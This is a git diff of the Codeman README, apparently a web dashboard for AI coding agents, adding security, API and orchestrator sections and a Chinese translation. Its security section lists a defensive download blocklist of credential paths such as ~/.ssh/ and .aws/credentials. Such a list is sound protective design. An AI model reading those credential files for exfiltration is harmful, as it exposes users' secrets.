- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
|
||||
- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
|
||||
- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
|
||||
- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
|
||||
- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
|
||||
|
||||
### Input, files & headers
|
||||
|
||||
- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env-prefix allowlist gates which settings each CLI can receive
|
||||
- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
|
||||
- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
|
||||
|
||||
### Supply chain & isolation
|
||||
|
||||
- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
|
||||
- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
|
||||
|
||||
> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).
|
||||
|
||||
---
|
||||
|
||||
## SSH Alternative (`sc`)
|
||||
|
||||
If you prefer SSH (Termius, Blink, etc.), the `sc` command is a thumb-friendly session chooser:
|
||||
@@ -407,24 +476,28 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
|
||||
|
||||
## Keyboard Shortcuts
|
||||
|
||||
> Ctrl bindings also accept Cmd on macOS.
|
||||
|
||||
| Shortcut | Action |
|
||||
|----------|--------|
|
||||
| `Ctrl+Enter` | Quick-start session |
|
||||
| `Ctrl+W` | Close session |
|
||||
| `Ctrl+Tab` | Next session |
|
||||
| `Ctrl/Cmd+W` | Kill active session |
|
||||
| `Ctrl/Cmd+Tab` | Next session |
|
||||
| `Alt+1`–`Alt+9` | Switch to tab N |
|
||||
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move active tab left / right |
|
||||
| `Ctrl+K` | Kill all sessions |
|
||||
| `Ctrl+L` | Clear terminal |
|
||||
| `Ctrl/Cmd+L` | Clear terminal |
|
||||
| `Ctrl+Shift+R` | Restore terminal size |
|
||||
| `Ctrl+Shift+V` | Toggle voice input |
|
||||
| `Ctrl/Cmd +/-` | Font size |
|
||||
| `Escape` | Close panels |
|
||||
| `Ctrl/Cmd +` / `-` | Font size |
|
||||
| `Ctrl/Cmd+?` | Keyboard help |
|
||||
| `Shift+Enter` | Insert newline (sent to terminal) |
|
||||
| `Escape` | Close panels & modals |
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
REST over Fastify — **~140 handlers across 15 route modules**, plus an SSE stream and a WebSocket terminal channel. A representative subset:
|
||||
|
||||
### Sessions
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
@@ -446,6 +519,14 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
|
||||
| `GET` | `/api/sessions/:id/ralph-state` | Get loop state + todos |
|
||||
| `POST` | `/api/sessions/:id/ralph-config` | Configure tracking |
|
||||
|
||||
### Orchestrator
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| `POST` | `/api/orchestrator/start` | Start orchestration from a goal |
|
||||
| `POST` | `/api/orchestrator/approve` | Approve the generated plan |
|
||||
| `GET` | `/api/orchestrator/status` | Current phase + progress |
|
||||
| `POST` | `/api/orchestrator/stop` | Stop and clean up |
|
||||
|
||||
### Subagents
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
@@ -460,6 +541,8 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
|
||||
| `GET` | `/api/events` | SSE stream |
|
||||
| `GET` | `/api/status` | Full app state |
|
||||
| `POST` | `/api/hook-event` | Hook callbacks |
|
||||
| `GET` | `/api/system/update/check` | Check for a new release |
|
||||
| `POST` | `/api/system/update` | Self-update (git-clone installs) |
|
||||
| `POST` | `/api/clipboard` | Push text to all connected browsers (`{text}`) |
|
||||
| `GET` | `/api/sessions/:id/run-summary` | Timeline + stats |
|
||||
|
||||
@@ -481,11 +564,13 @@ flowchart TB
|
||||
S1["Session (PTY)"]
|
||||
S2["Session (PTY)"]
|
||||
RC["Respawn Controller"]
|
||||
ORC["Orchestrator Loop"]
|
||||
end
|
||||
|
||||
subgraph Detection["Detection Layer"]
|
||||
RT["Ralph Tracker"]
|
||||
SW["Subagent Watcher<br/><small>~/.claude/projects/*/subagents</small>"]
|
||||
TW["Team Watcher<br/><small>~/.claude/teams/*</small>"]
|
||||
end
|
||||
|
||||
subgraph Persistence["Persistence Layer"]
|
||||
@@ -494,7 +579,7 @@ flowchart TB
|
||||
end
|
||||
|
||||
subgraph External["External"]
|
||||
CLI["AI CLI<br/><small>Claude Code / OpenCode</small>"]
|
||||
CLI["AI CLI<br/><small>Claude Code / OpenCode / Codex</small>"]
|
||||
BG["Background Agents<br/><small>(Task tool)</small>"]
|
||||
end
|
||||
end
|
||||
@@ -505,14 +590,17 @@ flowchart TB
|
||||
SM --> S1
|
||||
SM --> S2
|
||||
SM --> RC
|
||||
SM --> ORC
|
||||
SM --> SS
|
||||
S1 --> RT
|
||||
S1 --> SCR
|
||||
S2 --> SCR
|
||||
RC --> SCR
|
||||
ORC --> SCR
|
||||
SCR --> CLI
|
||||
SW --> BG
|
||||
SW --> SSE
|
||||
TW --> SSE
|
||||
```
|
||||
|
||||
---
|
||||
@@ -537,13 +625,13 @@ The codebase went through a comprehensive 7-phase refactoring that eliminated go
|
||||
| Phase | What changed | Impact |
|
||||
|-------|-------------|--------|
|
||||
| **Performance** | Cached endpoints, SSE adaptive batching, buffer chunking | Sub-16ms terminal latency |
|
||||
| **Route extraction** | `server.ts` split into 13 domain route modules + auth middleware + port interfaces | **−60%** server.ts LOC (6,736 → 2,697) |
|
||||
| **Domain splitting** | `types.ts` → 14 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
|
||||
| **Frontend modules** | `app.js` → 9 extracted modules (constants, mobile, voice, notifications, keyboard, CJK input, API, Ralph wizard, subagent windows) | **−24%** app.js LOC (15.2K → 11.5K) |
|
||||
| **Config consolidation** | ~70 scattered magic numbers → 9 domain-focused config files | Zero cross-file duplicates |
|
||||
| **Route extraction** | `server.ts` split into 15 domain route modules + auth middleware + port interfaces | **−67%** server.ts LOC (6,736 → 2,254) |
|
||||
| **Domain splitting** | `types.ts` → 16 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
|
||||
| **Frontend modules** | `app.js` → 18 extracted modules across infra, domain & feature layers | app.js core down to **~3.4K LOC** |
|
||||
| **Config consolidation** | ~70 scattered magic numbers → 10 domain-focused config files | Zero cross-file duplicates |
|
||||
| **Test infrastructure** | Shared mock library, 12 route test files, consolidated MockSession | Testable route handlers via `app.inject()` |
|
||||
|
||||
Full details: [`docs/code-structure-findings.md`](docs/code-structure-findings.md)
|
||||
Full details: [`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
|
||||
|
||||
---
|
||||
|
||||
@@ -563,6 +651,14 @@ npm install xterm-zerolag-input
|
||||
|
||||
---
|
||||
|
||||
## Versioning
|
||||
|
||||
Codeman follows [SemVer](https://semver.org/). What the version number actually
|
||||
commits to — and what counts as internal (the HTTP/SSE API, on-disk state,
|
||||
experimental features) — is spelled out in
|
||||
[`docs/versioning-policy.md`](docs/versioning-policy.md). If you script against
|
||||
the HTTP API, pin to an exact version.
|
||||
|
||||
## License
|
||||
|
||||
MIT — see [LICENSE](LICENSE)
|
||||
|
||||
+664
@@ -0,0 +1,664 @@
|
||||
<p align="center">
|
||||
<img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
|
||||
</p>
|
||||
|
||||
<h2 align="center">AI 编程智能体的任务控制中心</h2>
|
||||
|
||||
<p align="center">
|
||||
<em>Claude Code • OpenCode • Codex —— 统一仪表盘 • 任意设备</em>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="README.md">English</a> • <strong>简体中文</strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
|
||||
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
|
||||
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
|
||||
<a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
|
||||
<img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/images/subagent-demo.gif" alt="Codeman — 并行子智能体可视化" width="900">
|
||||
</p>
|
||||
|
||||
> 本文档由英文版 [`README.md`](README.md) 翻译而来。如有出入,以英文版为准。
|
||||
|
||||
---
|
||||
|
||||
## 快速开始 — 安装
|
||||
|
||||
```bash
|
||||
curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash
|
||||
```
|
||||
|
||||
该脚本会在缺失时自动安装 Node.js 和 tmux,把 Codeman 克隆到 `~/.codeman/app` 并完成构建。
|
||||
|
||||
你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai) 或 [Codex](https://developers.openai.com/codex/cli)(任意组合均可)。安装完成后:
|
||||
|
||||
```bash
|
||||
codeman web
|
||||
# 打开 http://localhost:3000,开启你的第一个会话
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary><strong>作为后台服务运行</strong></summary>
|
||||
|
||||
**Linux(systemd):**
|
||||
```bash
|
||||
mkdir -p ~/.config/systemd/user
|
||||
cat > ~/.config/systemd/user/codeman-web.service << EOF
|
||||
[Unit]
|
||||
Description=Codeman Web Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
EOF
|
||||
systemctl --user daemon-reload
|
||||
systemctl --user enable --now codeman-web
|
||||
loginctl enable-linger $USER
|
||||
```
|
||||
|
||||
**macOS(launchd):**
|
||||
```bash
|
||||
mkdir -p ~/Library/LaunchAgents
|
||||
cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.codeman.web</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>$(which node)</string>
|
||||
<string>$HOME/.codeman/app/dist/index.js</string>
|
||||
<string>web</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key><true/>
|
||||
<key>KeepAlive</key><true/>
|
||||
<key>StandardOutPath</key>
|
||||
<string>/tmp/codeman.log</string>
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/tmp/codeman.log</string>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><strong>Windows(WSL)</strong></summary>
|
||||
|
||||
```powershell
|
||||
wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
|
||||
```
|
||||
|
||||
Codeman 依赖 tmux,因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL:在管理员 PowerShell 中运行 `wsl --install`,重启,打开 Ubuntu,然后在 WSL 内安装你偏好的 AI 编程 CLI([Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai) 或 [Codex](https://developers.openai.com/codex/cli))。安装完成后,即可从 Windows 浏览器访问 `http://localhost:3000`。
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
## 移动端优化的 Web UI
|
||||
|
||||
在任意手机上都能获得最跟手的 AI 编程智能体体验。完整的 xterm.js 终端、本地回显、滑动导航,以及为真正的远程办公而设计的触控优化界面 —— 而不是把桌面 UI 硬塞进小屏幕。
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="33%"><img src="docs/screenshots/mobile-landing-qr.png" alt="移动端 — 带二维码认证的登录页" width="260"></td>
|
||||
<td align="center" width="33%"><img src="docs/screenshots/mobile-session-idle.png" alt="移动端 — 带键盘配件栏的空闲会话" width="260"></td>
|
||||
<td align="center" width="33%"><img src="docs/screenshots/mobile-session-active.png" alt="移动端 — 活动中的智能体会话" width="260"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="center"><em>带二维码认证的登录页</em></td>
|
||||
<td align="center"><em>键盘配件栏</em></td>
|
||||
<td align="center"><em>智能体实时工作中</em></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<th>普通终端 App</th>
|
||||
<th>Codeman 移动端</th>
|
||||
</tr>
|
||||
<tr><td>远程输入延迟 200–300 毫秒</td><td><b>本地回显 —— 即时反馈</b></td></tr>
|
||||
<tr><td>字小、无上下文</td><td>完整 xterm.js 终端</td></tr>
|
||||
<tr><td>无会话管理</td><td>滑动切换会话</td></tr>
|
||||
<tr><td>无通知</td><td>审批 / 空闲时推送提醒</td></tr>
|
||||
<tr><td>需手动重连</td><td>tmux 持久化</td></tr>
|
||||
<tr><td>看不到智能体</td><td>实时查看后台智能体</td></tr>
|
||||
<tr><td>斜杠命令靠复制粘贴</td><td>一键 <code>/init</code>、<code>/clear</code>、<code>/compact</code></td></tr>
|
||||
<tr><td>在手机上手打密码</td><td><b>扫二维码 —— 即时认证</b></td></tr>
|
||||
</table>
|
||||
|
||||
### 安全的二维码认证
|
||||
|
||||
在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码,手机即刻完成认证。
|
||||
|
||||
每个二维码编码的是一个包含 6 字符短码的 URL,该短码在服务端映射到一个 256 位密钥(`crypto.randomBytes(32)`)。令牌每 **60 秒**自动轮换,**首次扫描即原子性消费**(重放永远失败),并采用**基于哈希的 `Map.get()` 查找**,不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
|
||||
|
||||
该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)(USENIX Security 2025,该研究发现 Top-100 网站中有 47 个存在漏洞)所指出的全部 6 个关键二维码认证缺陷:强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知(QRLjacking 检测),以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制(按 IP + 全局)使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见:[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
|
||||
|
||||
### 触控优化界面
|
||||
|
||||
- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令(`/clear`、`/compact`)需双击确认 —— 第一次点击「上膛」,第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
|
||||
- **滑动导航** —— 在终端上左右滑动切换会话(阈值 80px,300ms)
|
||||
- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移(使用 `visualViewport` API,并对 iOS 地址栏漂移设置 100px 阈值)
|
||||
- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
|
||||
- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
|
||||
- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
|
||||
- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`,丝滑流畅
|
||||
|
||||
```bash
|
||||
codeman web --https
|
||||
# 在手机上打开:https://<你的IP>:3000
|
||||
```
|
||||
|
||||
> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`,或使用 [Tailscale](https://tailscale.com/)(推荐)—— 它提供私有网络,让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
|
||||
|
||||
---
|
||||
|
||||
## 实时智能体可视化
|
||||
|
||||
实时观看后台智能体工作。Codeman 监控智能体活动,将每个智能体显示在一个可拖拽的浮动窗口中,并用「黑客帝国」风格的动态连接线连回父会话。
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
|
||||
</p>
|
||||
|
||||
- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板,带实时活动日志,逐条展示每一次工具调用、文件读取与进度更新
|
||||
- **连接线** —— 用动态绿色线条连接父会话与其子智能体,随智能体的产生与完成实时更新
|
||||
- **状态与模型徽标** —— 绿色(活动)、黄色(空闲)、蓝色(已完成)指示,并以 Haiku/Sonnet/Opus 的颜色编码区分模型
|
||||
- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化,标签徽标显示「AGENT」或「AGENTS (n)」计数
|
||||
- **嵌套智能体** —— 支持 3 层层级(主会话 → 团队成员智能体 → 子-子智能体)
|
||||
|
||||
**智能体团队(Agent Teams)** —— 一等公民式支持 Claude Code 原生的多智能体团队(`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`)。`TeamWatcher` 轮询 `~/.claude/teams/`,将团队成员匹配到其主会话,并以实时子智能体窗口呈现,且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时,重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
|
||||
|
||||
---
|
||||
|
||||
## 零延迟输入叠加层
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
|
||||
</p>
|
||||
|
||||
远程访问你的编程智能体时(VPN、Tailscale、SSH 隧道),每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**,无论延迟多高,打字都感觉即时。
|
||||
|
||||
xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY,因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时,叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
|
||||
|
||||
- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在,完全不受 Ink 持续重绘屏幕的影响(此前两次使用 `terminal.write()` 的尝试都失败了,因为 Ink 会破坏注入的缓冲区内容)
|
||||
- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`,使叠加层文本与真实终端输出在视觉上无法区分
|
||||
- **完整编辑** —— 退格、重打、粘贴(多字符)、光标跟踪,输入超过终端宽度时多行换行
|
||||
- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
|
||||
- **默认启用** —— 桌面端与移动端均可用,会话空闲或繁忙时都生效
|
||||
|
||||
> 已抽取为独立库:[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
|
||||
|
||||
---
|
||||
|
||||
## 重生控制器(Respawn Controller)
|
||||
|
||||
自主工作的核心。当智能体进入空闲,重生控制器会检测到,发送继续提示,循环执行上下文管理命令以获得全新上下文,然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
|
||||
|
||||
```
|
||||
WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
|
||||
```
|
||||
|
||||
- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
|
||||
- **熔断器** —— 当 Claude 卡住时防止重生抖动(CLOSED → HALF_OPEN → OPEN 状态,跟踪连续无进展与重复错误)
|
||||
- **健康评分** —— 0–100 健康分,分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
|
||||
- **内置预设** —— `solo-work`(3s 空闲,60min)、`subagent-workflow`(45s,240min)、`team-lead`(90s,480min)、`ralph-todo`(8s,480min)、`overnight-autonomous`(10s,480min)
|
||||
|
||||
---
|
||||
|
||||
## 编排器循环(Orchestrator Loop)
|
||||
|
||||
超越单会话重生,**编排器**把一个高层目标转化为分阶段计划,并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
|
||||
|
||||
- **先规划,后执行** —— 从你的目标生成分阶段计划,并在动手前暂停等待审批;可带反馈拒绝以重新生成
|
||||
- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证;失败时编排器会重新规划而非一头扎下去
|
||||
- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列,协调超出单会话能力的工作
|
||||
- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下,可在重启后存续
|
||||
- **可从 UI 或 API 驱动** —— 编排器面板,或 `POST /api/orchestrator/start` → `/approve` → `/status`(共 10 个端点)
|
||||
|
||||
> 与 Ralph(单会话自主循环)不同:编排器协调多阶段、多智能体执行。完整设计:[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
|
||||
|
||||
---
|
||||
|
||||
## 多会话仪表盘
|
||||
|
||||
运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航,以及一键管理。
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
|
||||
</p>
|
||||
|
||||
### 持久化会话
|
||||
|
||||
每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复,具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签,因此智能体不会杀掉自己的会话。
|
||||
|
||||
### 主机名感知的窗口标题
|
||||
|
||||
在多台主机上运行 Codeman(笔记本、开发机、NAS)?浏览器标签标题是 `codeman:<主机名>`,让你无需点进去就能分辨每个标签对应哪个后端:
|
||||
|
||||
```bash
|
||||
codeman web # codeman:<os.hostname()>
|
||||
codeman web --title-hostname dev-box # codeman:dev-box(用于覆盖嘈杂的主机名)
|
||||
```
|
||||
|
||||
标题在首字节时就被模板化进所提供的 HTML 中,因此从第一帧绘制起就是正确的,且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式(`⚠️ (N) codeman:<host>`)和操作系统级桌面通知(`codeman:<host>: <事件>`),让系统通知中心里的跨主机提醒也不再含糊。
|
||||
|
||||
### 智能 Token 管理
|
||||
|
||||
| 阈值 | 动作 | 结果 |
|
||||
|-----------|--------|--------|
|
||||
| **110k tokens** | 自动 `/compact` | 上下文被摘要,工作继续 |
|
||||
| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
|
||||
|
||||
### 通知
|
||||
|
||||
当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁,`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
|
||||
|
||||
### Ralph / Todo 跟踪
|
||||
|
||||
自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度(`4/9 complete`)以及迭代计数器(`[5/50]`),并提供实时进度环与已用时间跟踪。
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
|
||||
</p>
|
||||
|
||||
### 运行摘要(Run Summary)
|
||||
|
||||
点击任意会话标签上的图表图标,即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
|
||||
|
||||
### 零闪烁终端
|
||||
|
||||
基于终端的 AI 智能体(Claude Code 的 Ink、OpenCode 的 Bubble Tea)会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线,让所有会话都获得平滑的 60fps 输出:
|
||||
|
||||
```
|
||||
PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js(60fps)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 更多特性
|
||||
|
||||
- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新:它会检测最新发行版,自动暂存(stash)脏工作树,并在服务重启期间流式展示构建进度(npm 安装会被报告为不可更新)
|
||||
- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode** 或 **Codex**;环境变量前缀自动隔离(`CLAUDE_CODE_*`、`OPENCODE_*` 与 `CODEX_*`)。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
|
||||
- **Effort 与 Ultracode** —— 设置每会话的默认 effort(`low`–`max`),或启用 **ultracode**(动态多智能体工作流)。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
|
||||
- **语音输入** —— 用 Deepgram Nova-3 口述提示(带 Web Speech API 回退):切换录音、自动静音停止、实时音量表(`Ctrl+Shift+V`)
|
||||
- **图像输入** —— 直接把图片粘贴或拖放进会话
|
||||
- **手势控制** *(可选)* —— 一个 MediaPipe 手部追踪叠加层,可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
|
||||
- **多显示器横跨** *(macOS)* —— 一键打开一个横跨所有显示器最大化的浏览器窗口,让浮动的智能体/手势面板可以跨越物理拼接缝
|
||||
- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
|
||||
- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀,使多主机配置不再含糊
|
||||
|
||||
---
|
||||
|
||||
## 远程访问 —— Cloudflare 隧道
|
||||
|
||||
使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/),从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
|
||||
|
||||
```
|
||||
浏览器(手机/平板)→ Cloudflare 边缘(HTTPS)→ cloudflared → localhost:3000
|
||||
```
|
||||
|
||||
**前置条件:** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
|
||||
|
||||
```bash
|
||||
# 快速开始
|
||||
./scripts/tunnel.sh start # 启动隧道,打印公网 URL
|
||||
./scripts/tunnel.sh url # 显示当前 URL
|
||||
./scripts/tunnel.sh stop # 停止隧道
|
||||
./scripts/tunnel.sh status # 服务状态 + URL
|
||||
```
|
||||
|
||||
脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址,每次隧道重启都会改变。
|
||||
|
||||
<details>
|
||||
<summary><strong>持久隧道(重启后存续)</strong></summary>
|
||||
|
||||
```bash
|
||||
# 启用为持久服务
|
||||
systemctl --user enable codeman-tunnel
|
||||
loginctl enable-linger $USER
|
||||
|
||||
# 或通过 Codeman Web UI:Settings → Tunnel → 切换为开
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><strong>认证</strong></summary>
|
||||
|
||||
1. 首次请求 → 浏览器弹出 Basic Auth 提示(用户名:`admin` 或 `CODEMAN_USERNAME`)
|
||||
2. 成功后 → 服务端签发 `codeman_session` cookie(24 小时 TTL,活动时自动延长)
|
||||
3. 后续请求通过 cookie 静默认证
|
||||
4. 同一 IP 失败 10 次 → 429 速率限制(15 分钟衰减)
|
||||
|
||||
